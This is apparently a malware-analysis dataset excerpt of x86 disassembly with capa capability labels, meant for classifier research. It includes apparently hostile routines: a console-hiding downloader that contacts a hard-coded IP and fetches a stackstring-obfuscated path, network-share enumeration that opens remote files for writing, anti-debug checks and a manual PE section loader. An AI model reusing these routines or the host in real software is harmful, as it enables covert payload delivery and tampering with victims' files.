joyce8/EMBER2024-capa huggingface dataset:
Function at 0x447e70
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x474e63
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004682ea
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0046d982
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0046eee1
test eax, eax
je 0x447f8c
mov ecx, dword [esp + 0x3c]
call fcn.0046d9af
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x447f50
push edi
mov ecx, esi
call fcn.0046b01a
mov ecx, esi
call fcn.004480f0
cmp dword [esp + 0x38], 1
jne 0x447f85
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0046b155
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x44a9b0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x44a9e3
push esi
call fcn.0044dac0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44a9dc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x44aa69
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x44aa52
mov eax, dword [esi + 8]
test eax, eax
je 0x44aa07
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44aa4e
cmp eax, 2
je 0x44aa52
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44a9fa
cmp eax, 3
je 0x44aa2d
cmp eax, 1
jne 0x44a9fa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44a9fa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44a9fa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0044aa90
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x44aa78
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0044aa90
add esp, 4
pop esi
ret

Function at 0x4690df
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x469117
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046716c
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00467144
jmp 0x469123
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46a7d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46a816
call fcn.004702c7
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46a816
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46a80d
xor eax, eax
jmp 0x46a81e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046a824
pop edi
pop esi
pop ebx
ret 4

Function at 0x4707f7
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x470825
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x470843
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047075d
jmp 0x470843
mov eax, dword [esi + 0x14]
test eax, eax
je 0x470843
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047075d
test edi, edi
mov eax, edi
jne 0x47082d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x42c3a2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x40], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call fcn.0042d515
test eax, eax
je 0x42c3dd
jmp 0x42c57e
push dword [ebp - 8]
push 0x40
call dword [0x4090b8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42c3f6
jmp 0x42c57e
mov dword [ebp - 0x3c], 0x74654e57
mov dword [ebp - 0x38], 0x6d756e45
mov dword [ebp - 0x34], 0x6f736552
mov dword [ebp - 0x30], 0x65637275
mov dword [ebp - 0x2c], 0x41
lea eax, [ebp - 0x3c]
push eax
push 0x409e70
call dword [0x409104]
push eax
call dword [0x4090f4]
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call fcn.0042d4d9
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x42c555
and dword [ebp - 0x44], 0
jmp 0x42c46d
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jae 0x42c553
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x42c52d
or dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x409e78
lea eax, [ebp - 0x150]
push eax
call dword [0x409210]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x150]
push eax
call dword [0x4090c4]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x42c52d
push dword [ebp - 0x154]
call dword [0x409110]
lea eax, [ebp - 0x150]
push eax
call dword [0x409118]
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x409a34
lea eax, [ebp - 0x150]
push eax
call dword [0x409210]
add esp, 0xc
lea eax, [ebp - 0x150]
push eax
call fcn.0042a7ed
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x42c54e
mov eax, dword [ebp - 0x44]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.0042c3a2
jmp 0x42c466
jmp 0x42c560
cmp dword [ebp - 0x40], 0x103
je 0x42c560
jmp 0x42c56d
cmp dword [ebp - 0x40], 0x103
jne 0x42c432
push dword [ebp - 0xc]
call dword [0x4090a0]
push dword [ebp - 4]
call fcn.0042d50f
leave
ret 4

Function at 0x4058ec
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a04], 0
push esi
jne 0x405923
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4058fd
mov dword [ecx*4 + 0x422a00], eax
inc ecx
cmp ecx, 0x100
jl 0x4058f8
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405954
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a00]
xor eax, esi
inc ecx
dec edx
jne 0x405936
pop edi
not eax
pop esi
ret 0xc
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x4c3034], 1
mov dword [0x4c3030], 1
mov dword [0x4c302c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x4c300c], eax
mov eax, dword [0x4c3040]
test eax, eax
jne 0x4010a0
mov dword [esp], 1
call sub.msvcrt.dll___set_app_type
call sub.msvcrt.dll___p__fmode
mov edx, dword [0x4c3054]
mov dword [eax], edx
call sub.msvcrt.dll___p__commode
mov edx, dword [0x4c303c]
mov dword [eax], edx
call fcn.0040d2f0
cmp dword [0x4b70b0], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sub.msvcrt.dll___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f2
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], 0x40d3f0
call fcn.0040d960
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401b80
Capabilities:
Contain obfuscated stackstrings
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xac
mov dword [ebp - 0x84], sym.unk_79
mov dword [ebp - 0x80], 0x4b4650
lea eax, [ebp - 0x7c]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x401c98
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x9c]
mov dword [esp], eax
call fcn.0040eb60
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 0x98], 0xffffffff
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x44]
mov dword [esp + 4], str.abc123
mov dword [esp], str.164.155.130.109
mov ecx, eax
call sym.unk_17
sub esp, 8
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x98], 1
call eax
sub esp, 4
mov dword [ebp - 0x5a], 0x3131612f
mov dword [ebp - 0x56], 0x37312e38
mov dword [ebp - 0x52], 0x34322e38
mov dword [ebp - 0x4e], 0x32322e30
mov dword [ebp - 0x4a], 0x78742e33
mov word [ebp - 0x46], 0x74
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x44]
lea edx, [ebp - 0x5a]
mov dword [esp], edx
mov ecx, eax
call sym.unk_18
sub esp, 4
mov dword [ebp - 0xa0], eax
nop
lea eax, [ebp - 0x44]
mov ecx, eax
call sym.unk_19
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xa0], eax
jmp 0x401cc9
lea eax, [ebp - 0x9c]
mov dword [esp], eax
call fcn.0040ebf0
mov eax, dword [ebp - 0xa0]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
Function at 0x401dc1
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
mov edx, eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
movzx eax, ax
add eax, edx
add eax, 0x18
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x401f57
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x401e9f
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x401e9a
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x1c]
mov edx, dword [ebp + 0x14]
mov ecx, dword [edx + 0x34]
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebx + 0xc]
mov ebx, dword [ebp - 0x14]
add ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401e64
mov eax, 0
jmp 0x401f71
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x401f4f
jmp 0x401f4f
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
add eax, edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym.unk_39
test eax, eax
jne 0x401eca
mov eax, 0
jmp 0x401f71
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x1c]
mov edx, dword [ebp + 0x14]
mov ecx, dword [edx + 0x34]
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0x10]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebx + 0xc]
mov ebx, dword [ebp - 0x14]
add ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401f14
mov eax, 0
jmp 0x401f71
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0x14]
mov edx, dword [ebp + 8]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], edx
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 0x28
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0xc]
jg 0x401df9
mov eax, 1
add esp, 0x40
pop ebx
pop esi
pop ebp
ret
Function at 0x40d480
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00417b80
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00417b80
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x40d4e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4c3048]
test esi, esi
jle 0x40d600
mov edi, dword [0x4c304c]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40d514
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40d599
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x40d500
mov dword [esp], eax
mov ebx, eax
call fcn.0040dee0
mov edi, eax
test eax, eax
je 0x40d627
mov eax, dword [0x4c304c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0040dff0
mov edx, dword [0x4c304c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40d607
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40d592
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40d5a0
add dword [0x4c3048], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4c304c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40d592
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040d480
lea esi, [esi]
lea edi, [edi]
xor esi, esi
jmp 0x40d51e
mov eax, dword [0x4c304c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040d480
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040d480
mov esi, esi
lea edi, [edi]
Function at 0x40db20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4c3064
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4c305c]
sub esp, 4
test ebx, ebx
je 0x40db75
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40db6e
test esi, esi
je 0x40db6e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40db50
mov dword [esp], 0x4c3064
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40e870
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40e8a4
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [0x4c3080], eax
call fcn.00418370
test eax, eax
sete al
movzx eax, al
mov dword [0x4b705c], eax
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40e893
Function at 0x40e9d0
Capabilities:
Set thread local storage value

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, 1
push ebx
mov ebx, eax
sub esp, 0x3c
mov eax, dword [eax + 0xc]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x20], eax
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x24], eax
mov eax, dword [edx]
test eax, eax
jne 0x40ea17
jmp 0x40eae0
mov dword [0x4c3084], ecx
mov eax, dword [edi]
add esi, 1
mov eax, dword [eax]
mov dword [edi], eax
test eax, eax
je 0x40eae0
mov ebp, dword [eax + 0x18]
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], edi
mov edx, dword [ebx + 4]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], eax
mov eax, dword [ebx]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], 0xa
mov dword [esp], 1
call eax
test eax, eax
jne 0x40eb16
test ebp, ebp
je 0x40ea90
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0xa
mov dword [esp], 1
call ebp
cmp eax, 7
je 0x40eb45
cmp eax, 8
jne 0x40eb16
mov eax, dword [edi]
mov ecx, dword [eax]
mov eax, dword [0x4b705c]
test eax, eax
js 0x40eb23
test eax, eax
je 0x40ea00
mov eax, dword [0x4c3080]
mov dword [esp + 4], ecx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40ea06
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [edi]
add esi, 1
mov eax, dword [eax]
mov dword [edi], eax
test eax, eax
jne 0x40ea17
lea esi, [esi]
mov eax, dword [esp + 0x24]
mov edx, dword [ebx + 4]
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], eax
mov eax, dword [ebx]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], 0x1a
mov dword [esp], 1
call eax
test eax, eax
je 0x40eb40
add esp, 0x3c
mov eax, 2
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x28], ecx
call fcn.0040e8b0
mov eax, dword [0x4b705c]
mov ecx, dword [esp + 0x28]
jmp 0x40eaa1
mov eax, 5
mov ecx, dword [esp + 0x2c]
mov dword [ecx], esi
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40eb60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x4b705c]
mov ebx, dword [esp + 0x30]
test eax, eax
js 0x40ebe0
test eax, eax
jne 0x40eb90
mov eax, dword [0x4c3084]
mov dword [0x4c3084], ebx
mov dword [ebx], eax
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [0x4c3080]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov ebp, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov edi, eax
mov dword [esp], ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x4c3080]
mov dword [ebx], edi
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40eb85
add esp, 0x1c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
jmp eax
call fcn.0040e8b0
mov eax, dword [0x4b705c]
jmp 0x40eb74
Function at 0x40ebf0
Capabilities:
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [esp + 0x20]
mov ebx, dword [eax]
mov eax, dword [0x4b705c]
test eax, eax
js 0x40ec35
test eax, eax
jne 0x40ec12
mov dword [0x4c3084], ebx
add esp, 0x18
pop ebx
ret
mov eax, dword [0x4c3080]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40ec0d
add esp, 0x18
pop ebx
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.0040e8b0
mov eax, dword [0x4b705c]
jmp 0x40ec03

Function at 0x40ed30
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [0x4b705c]
mov ebx, dword [esp + 0x40]
test eax, eax
js 0x40edb0
mov esi, dword [0x4c3084]
test eax, eax
jne 0x40edc4
mov dword [esp + 0x28], esi
test esi, esi
je 0x40eda4
mov eax, esi
lea edi, [esp + 0x28]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x40ed96
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], ebx
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [esp + 4], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp], 1
call ecx
cmp eax, 6
je 0x40edf1
cmp eax, 8
jne 0x40ee20
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov dword [esp + 0x28], eax
test eax, eax
jne 0x40ed5b
mov eax, 5
add esp, 0x30
pop ebx
pop esi
pop edi
ret
call fcn.0040e8b0
mov eax, dword [0x4b705c]
mov esi, dword [0x4c3084]
test eax, eax
je 0x40ed4d
mov esi, dword [0x4c3080]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x40ed4d
mov eax, dword [esp + 0x28]
mov dword [ebx + 0xc], 0
lea ecx, [esp + 0x2c]
mov edx, edi
mov dword [esp + 0x28], esi
mov dword [ebx + 0x10], eax
mov eax, ebx
call fcn.0040e7b0
cmp eax, 7
jne 0x40eda9
mov eax, edi
call fcn.0040e950
lea esi, [esi]
mov eax, 3
jmp 0x40eda9

Function at 0x40eed0
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov edx, dword [0x4b705c]
mov ebx, dword [esp + 0x30]
test edx, edx
js 0x40ef1d
mov esi, dword [0x4c3084]
test edx, edx
jne 0x40ef2a
mov eax, ebx
mov ebx, dword [ebx + 0xc]
mov dword [esp + 0x18], esi
lea esi, [esp + 0x18]
lea ecx, [esp + 0x1c]
mov edx, esi
test ebx, ebx
jne 0x40ef16
call fcn.0040e7b0
cmp eax, 7
jne 0x40ef50
mov eax, esi
call fcn.0040e950
call fcn.0040e9d0
jmp 0x40ef0a
call fcn.0040e8b0
mov edx, dword [0x4b705c]
jmp 0x40eee4
mov esi, dword [0x4c3080]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
jmp 0x40eeee
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]